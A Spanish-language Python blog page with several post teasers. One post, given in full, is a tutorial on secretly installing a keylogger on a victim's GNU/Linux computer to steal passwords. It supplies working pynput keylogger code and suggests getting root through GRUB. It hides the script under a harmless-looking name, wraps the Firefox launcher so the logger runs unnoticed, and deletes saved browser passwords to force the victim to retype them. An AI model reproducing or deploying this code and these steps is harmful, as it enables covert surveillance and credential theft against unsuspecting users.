Registrador de teclas (keylogger) en Python para GNU/Linux. Enviar información por correo y autodestruirse

En este artículo enseño como programar un keylogger avanzado que envía mensajes por correo electrónico y se autodestruye después de una fecha concreta.

Continúa leyendo Registrador de teclas (keylogger) en Python para GNU/Linux. Enviar información por correo y autodestruirse

Registrador de teclas (keylogger) básico para GNU/Linux. Robar contraseñas e información tecleada

Una forma sencilla de robar contraseñas es instalar un registrador de teclas (keylogger) en el ordenador de la víctima. Voy a mostrar cómo hacerlo en GNU/Linux usando el lenguaje de programación Python.

Lo primero que debemos hacer es obtener permisos de superusuario. Si el equipo lo administramos nosotros, ya sabemos la contraseña. En caso contrario, podemos obtener acceso como superusuario desde GRUB. Con los permisos necesarios tenemos vía libre para instalar el keylogger.

En primer lugar, hay que instalar el módulo pynput mediante...

sudo pip install pynput

A continuación, debemos escribir el keylogger. Este es el código que usaremos:

#!/usr/bin/env python3
from pynput.keyboard import Key, Listener
import logging

log_dir = "/usr/share/doc/python3/"

logging.basicConfig(filename=(log_dir + "log"), \
        level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

El registro de teclas se guarda en log_dir. Yo, en este caso, he especificado la carpeta de documentación de Python 3 en GNU/Linux. El keylogger también podemos guardarlo en ese mismo directorio, quizá con el nombre compile_docs.py o algo parecido para no llamar la atención. Lo ideal es elegir una carpeta a la que la victima no vaya a entrar para evitar que se dé cuenta de lo que estamos haciendo.

El último paso sería ejecutar el programa cada vez que se encienda el ordenador o se inicie un programa sin que la víctima se dé cuenta. Si, por ejemplo, queremos iniciar el keylogger cada vez que el usuario abra Firefox, podemos modificar el comando Firefox. Podemos renombrar firefox1 a firefox.bin y crear el siguiente archivo llamado firefox.

python3 /usr/share/doc/python3/compile_docs.py &
exec firefox.bin "@$"

Para saber qué archivo firefox se ejecuta cuando pulsamos su icono debemos ir a /usr/share/applications, entrar al archivo firefox.desktop (o firefox-esr.desktop) y buscar la línea que empieza por Exec.

A continuación, habría que darle permisos de escritura para otros usuarios distintos de root al directorio donde vamos a almacenar el registro de tecleo:

sudo chmod o+w /usr/share/doc/python3

Finalmente, deberíamos esperar a que la víctima usara el ordenador para obtener sus contraseñas o cualquier información que teclee que queramos obtener. El registro de teclas se guardará en el archivo /usr/share/doc/python3/log. Pero ten cuidado: el archivo puede ocupar mucho espacio si no lo borras periódicamente, por lo que lo mejor sería desinstalar el keylogger después de obtener la información que necesitemos. Otra opción es configurarlo para que mande la información de tecleo por correo electrónico en vez de guardarla en un archivo, con lo que no ocuparía mucho espacio el ordenador de la víctima; pero ese método requiere que usemos un correo electrónico2.

Si la víctima tiene las contraseñas guardadas en el navegador y no necesita escribirlas de nuevo, podemos borrarle el archivo de contraseñas para que se vea obligada a introducirlas de nuevo. En definitiva, con ingenio podemos conseguir mucha información, especialmente si aplicamos este método contra usuarios poco avanzados, que no sospecharán mucho. Para usuarios más avanzados quizá lo mejor sería compilar el programa compile_docs.py con Nuitka, como muestro en el siguiente artículo.


  1. En Debian tendríamos que modificar el archivo firefox-esr

  2. La ventaja de enviar las contraseñas por correo electrónico es que no necesitamos volver al ordenador de la víctima para abrir el archivo de registro de tecleo, sino que recibiremos la información periódicamente por correo. 

Internacionalización de programas Python

La internacionalización de programas permite que estos puedan ser entendidos por personas que hablan idiomas diferentes.

En este artículo enseño cómo internacionalizar un programa escrito en Python 3. Para este propósito se suele utilizar el módulo gettext, que esta incluido en Python.

Continúa leyendo Internacionalización de programas Python

Creación de un videojuego con pygame

En esta entrada, vamos a ver cómo crear un videojuego con Python y pygame. El videojuego se llama Bullet dodger. El objetivo es esquivar todas las balas que se disparen para conseguir el mayor número de puntos posibles. Cada bala disparada aumenta la puntuación en 1. El personaje se maneja con el ratón, y el juego tiene un modo de pantalla completa.

Antes de comenzar a programar, debes asegurarte de que tienes todos los materiales necesarios. Solamente necesitas pygame, Python y un editor de texto o IDE con el que te sientas cómodo. Abajo tienes la bala que utilizaremos para el juego; descárgala y ubícala en la carpeta donde vayas a programar. bullet

Paso 1: Crear ventana básica

Lo primero que hay que hacer para utilizar pygame, es importarlo. Normalmente son necesarias las librerías pygame y pygame.locals. Crea un archivo de llamado main.py e importa dichas librerías.

Continúa leyendo Creación de un videojuego con pygame

Barras bajas entre números grandes en Python

A partir de la versión 3.6 de Python se podrán escribir barras bajas entre números grandes. Está mejora (PEP 515) fue propuesta por Georg Brandl y Serhiy Storchaka.

¿Para qué querría alguien escribir barras bajas entre números? Para mejorar la legibilidad. Compara print(1000000) con print(1_000_000). Si lees el segundo print, podrás distinguir claramente que el número es un millón; sin barras bajas es más difícil.